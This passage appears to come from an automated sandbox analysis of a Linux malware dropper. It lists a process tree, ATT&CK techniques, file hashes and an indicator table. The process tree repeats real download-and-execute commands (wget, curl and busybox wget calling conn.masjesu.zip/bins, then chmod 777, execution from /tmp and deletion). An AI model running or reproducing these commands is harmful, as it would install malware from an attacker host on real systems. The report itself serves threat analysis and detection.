  rm Ocie2yW4GdaK3VHURKYcQJhsZWEFAe4YVw
  2⤵
  PID:996
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/R9BXv0rUQ5hY8QHwZEx4aRyjb3TXwUfrai
  2⤵
  - System Network Configuration Discovery
  PID:997
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/R9BXv0rUQ5hY8QHwZEx4aRyjb3TXwUfrai
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:998
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/R9BXv0rUQ5hY8QHwZEx4aRyjb3TXwUfrai
  2⤵
  - System Network Configuration Discovery
  PID:1000
- /bin/chmod
  chmod 777 R9BXv0rUQ5hY8QHwZEx4aRyjb3TXwUfrai
  2⤵
  - File and Directory Permissions Modification
  PID:1001
- /tmp/R9BXv0rUQ5hY8QHwZEx4aRyjb3TXwUfrai
  ./R9BXv0rUQ5hY8QHwZEx4aRyjb3TXwUfrai
  2⤵
  - Executes dropped EXE
  PID:1002
- /bin/rm
  rm R9BXv0rUQ5hY8QHwZEx4aRyjb3TXwUfrai
  2⤵
  PID:1003
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/go0H3u6yNPaOEcud6oCJ4cOtsmcU6Hc0eA
  2⤵
  - System Network Configuration Discovery
  PID:1004
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/go0H3u6yNPaOEcud6oCJ4cOtsmcU6Hc0eA
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:1005
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/go0H3u6yNPaOEcud6oCJ4cOtsmcU6Hc0eA
  2⤵
  - System Network Configuration Discovery
  PID:1007
- /bin/chmod
  chmod 777 go0H3u6yNPaOEcud6oCJ4cOtsmcU6Hc0eA
  2⤵
  - File and Directory Permissions Modification
  PID:1008
- /tmp/go0H3u6yNPaOEcud6oCJ4cOtsmcU6Hc0eA
  ./go0H3u6yNPaOEcud6oCJ4cOtsmcU6Hc0eA
  2⤵
  - Executes dropped EXE
  PID:1009
- /bin/rm
  rm go0H3u6yNPaOEcud6oCJ4cOtsmcU6Hc0eA
  2⤵
  PID:1010
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/TEwgZGFqW8JKgiJFLyop2P8B85z5APcj5n
  2⤵
  PID:1011
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/TEwgZGFqW8JKgiJFLyop2P8B85z5APcj5n
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:1012
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/TEwgZGFqW8JKgiJFLyop2P8B85z5APcj5n
  2⤵
  - System Network Configuration Discovery
  PID:1014
- /bin/chmod
  chmod 777 TEwgZGFqW8JKgiJFLyop2P8B85z5APcj5n
  2⤵
  - File and Directory Permissions Modification
  PID:1015
- /tmp/TEwgZGFqW8JKgiJFLyop2P8B85z5APcj5n
  ./TEwgZGFqW8JKgiJFLyop2P8B85z5APcj5n
  2⤵
  - Executes dropped EXE
  PID:1016
- /bin/rm
  rm TEwgZGFqW8JKgiJFLyop2P8B85z5APcj5n
  2⤵
  PID:1017
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/v03qleEOhpxlmApBzmD8CkrvLbqsesX2eE
  2⤵
  - System Network Configuration Discovery
  PID:1018
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/v03qleEOhpxlmApBzmD8CkrvLbqsesX2eE
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:1019
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/v03qleEOhpxlmApBzmD8CkrvLbqsesX2eE
  2⤵
  - System Network Configuration Discovery
  PID:1021
- /bin/chmod
  chmod 777 v03qleEOhpxlmApBzmD8CkrvLbqsesX2eE
  2⤵
  - File and Directory Permissions Modification
  PID:1022
- /tmp/v03qleEOhpxlmApBzmD8CkrvLbqsesX2eE
  ./v03qleEOhpxlmApBzmD8CkrvLbqsesX2eE
  2⤵
  - Executes dropped EXE
  PID:1023
- /bin/rm
  rm v03qleEOhpxlmApBzmD8CkrvLbqsesX2eE
  2⤵
  PID:1024
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/GqBagoMChGfE2y0Jul524TSXfKPOQ3YYAU
  2⤵
  - System Network Configuration Discovery
  PID:1025
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/GqBagoMChGfE2y0Jul524TSXfKPOQ3YYAU
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:1026
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/GqBagoMChGfE2y0Jul524TSXfKPOQ3YYAU
  2⤵
  - System Network Configuration Discovery
  PID:1028
- /bin/chmod
  chmod 777 GqBagoMChGfE2y0Jul524TSXfKPOQ3YYAU
  2⤵
  - File and Directory Permissions Modification
  PID:1029
- /tmp/GqBagoMChGfE2y0Jul524TSXfKPOQ3YYAU
  ./GqBagoMChGfE2y0Jul524TSXfKPOQ3YYAU
  2⤵
  - Executes dropped EXE
  PID:1030
- /bin/rm
  rm GqBagoMChGfE2y0Jul524TSXfKPOQ3YYAU
  2⤵
  PID:1031
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/ibd4KEFLDFri3YcN4rzbKvcprJSZrwblWL
  2⤵
  PID:1032
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/ibd4KEFLDFri3YcN4rzbKvcprJSZrwblWL
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:1033
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/ibd4KEFLDFri3YcN4rzbKvcprJSZrwblWL
  2⤵
  - System Network Configuration Discovery
  PID:1035
- /bin/chmod
  chmod 777 ibd4KEFLDFri3YcN4rzbKvcprJSZrwblWL
  2⤵
  - File and Directory Permissions Modification
  PID:1036
- /tmp/ibd4KEFLDFri3YcN4rzbKvcprJSZrwblWL
  ./ibd4KEFLDFri3YcN4rzbKvcprJSZrwblWL
  2⤵
  - Executes dropped EXE
  PID:1037
- /bin/rm
  rm ibd4KEFLDFri3YcN4rzbKvcprJSZrwblWL
  2⤵
  PID:1038

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

GqBagoMChGfE2y0Jul524TSXfKPOQ3YYAU

Path /tmp/GqBagoMChGfE2y0Jul524TSXfKPOQ3YYAU
Size 153B
SHA256 533a1ca5d6595793725bca7641d9461a0f00dd1732dded3e4281196f5dd21736
MD5 998368d7c95ea4293237f2320546e440
SHA1 30dfd2d3bb8a7e3241bd7792e90a98ebb70be3a4
SHA512 648c4720a85dbf834be1ba00f0e1b4167cc670fe15896efb00a77fb6e0c225a13aae3da10d85fa6e7f726420d9bb3c20c43466e02296d44153c127b7160e0b97
MD5 SHA1 SHA512

Submit Download

ioc	pid	Process
/tmp/GqBagoMChGfE2y0Jul524TSXfKPOQ3YYAU	770	GqBagoMChGfE2y0Jul524TSXfKPOQ3YYAU
/tmp/ibd4KEFLDFri3YcN4rzbKvcprJSZrwblWL	777	ibd4KEFLDFri3YcN4rzbKvcprJSZrwblWL
/tmp/jIZyCWCUft6OCnZ06LXXEz3vUUaSMVTxW2	792	jIZyCWCUft6OCnZ06LXXEz3vUUaSMVTxW2
/tmp/X631b8CSSYfYEcABJN28OgyYGyp8Jm5n65	822	X631b8CSSYfYEcABJN28OgyYGyp8Jm5n65
/tmp/gMpT78RIF0el0OBRqR106C6jNnXEMxTTva	843	gMpT78RIF0el0OBRqR106C6jNnXEMxTTva
/tmp/3PdvXU7UGMql9qJ2Shiam4H1HooElEofbR	858	3PdvXU7UGMql9qJ2Shiam4H1HooElEofbR
/tmp/LQp1B2XCMAHBNpEkl6qyq7DsEBaG9UjURQ	884	LQp1B2XCMAHBNpEkl6qyq7DsEBaG9UjURQ
/tmp/vgDCBFutrJnDM844rxSU8jlWbiKUjwFTUh	897	vgDCBFutrJnDM844rxSU8jlWbiKUjwFTUh
/tmp/rOdrx3y77pd6ykNJJD4QM7emEEH21b9SmN	904	rOdrx3y77pd6ykNJJD4QM7emEEH21b9SmN
/tmp/Ocie2yW4GdaK3VHURKYcQJhsZWEFAe4YVw	911	Ocie2yW4GdaK3VHURKYcQJhsZWEFAe4YVw
/tmp/R9BXv0rUQ5hY8QHwZEx4aRyjb3TXwUfrai	918	R9BXv0rUQ5hY8QHwZEx4aRyjb3TXwUfrai
/tmp/go0H3u6yNPaOEcud6oCJ4cOtsmcU6Hc0eA	925	go0H3u6yNPaOEcud6oCJ4cOtsmcU6Hc0eA
/tmp/TEwgZGFqW8JKgiJFLyop2P8B85z5APcj5n	932	TEwgZGFqW8JKgiJFLyop2P8B85z5APcj5n
/tmp/v03qleEOhpxlmApBzmD8CkrvLbqsesX2eE	939	v03qleEOhpxlmApBzmD8CkrvLbqsesX2eE
/tmp/jIZyCWCUft6OCnZ06LXXEz3vUUaSMVTxW2	946	jIZyCWCUft6OCnZ06LXXEz3vUUaSMVTxW2
/tmp/X631b8CSSYfYEcABJN28OgyYGyp8Jm5n65	953	X631b8CSSYfYEcABJN28OgyYGyp8Jm5n65
/tmp/gMpT78RIF0el0OBRqR106C6jNnXEMxTTva	960	gMpT78RIF0el0OBRqR106C6jNnXEMxTTva
/tmp/3PdvXU7UGMql9qJ2Shiam4H1HooElEofbR	967	3PdvXU7UGMql9qJ2Shiam4H1HooElEofbR
/tmp/LQp1B2XCMAHBNpEkl6qyq7DsEBaG9UjURQ	974	LQp1B2XCMAHBNpEkl6qyq7DsEBaG9UjURQ
/tmp/vgDCBFutrJnDM844rxSU8jlWbiKUjwFTUh	981	vgDCBFutrJnDM844rxSU8jlWbiKUjwFTUh
/tmp/rOdrx3y77pd6ykNJJD4QM7emEEH21b9SmN	988	rOdrx3y77pd6ykNJJD4QM7emEEH21b9SmN
/tmp/Ocie2yW4GdaK3VHURKYcQJhsZWEFAe4YVw	995	Ocie2yW4GdaK3VHURKYcQJhsZWEFAe4YVw
/tmp/R9BXv0rUQ5hY8QHwZEx4aRyjb3TXwUfrai	1002	R9BXv0rUQ5hY8QHwZEx4aRyjb3TXwUfrai
/tmp/go0H3u6yNPaOEcud6oCJ4cOtsmcU6Hc0eA	1009	go0H3u6yNPaOEcud6oCJ4cOtsmcU6Hc0eA
/tmp/TEwgZGFqW8JKgiJFLyop2P8B85z5APcj5n	1016	TEwgZGFqW8JKgiJFLyop2P8B85z5APcj5n
/tmp/v03qleEOhpxlmApBzmD8CkrvLbqsesX2eE	1023	v03qleEOhpxlmApBzmD8CkrvLbqsesX2eE
/tmp/GqBagoMChGfE2y0Jul524TSXfKPOQ3YYAU	1030	GqBagoMChGfE2y0Jul524TSXfKPOQ3YYAU
/tmp/ibd4KEFLDFri3YcN4rzbKvcprJSZrwblWL	1037	ibd4KEFLDFri3YcN4rzbKvcprJSZrwblWL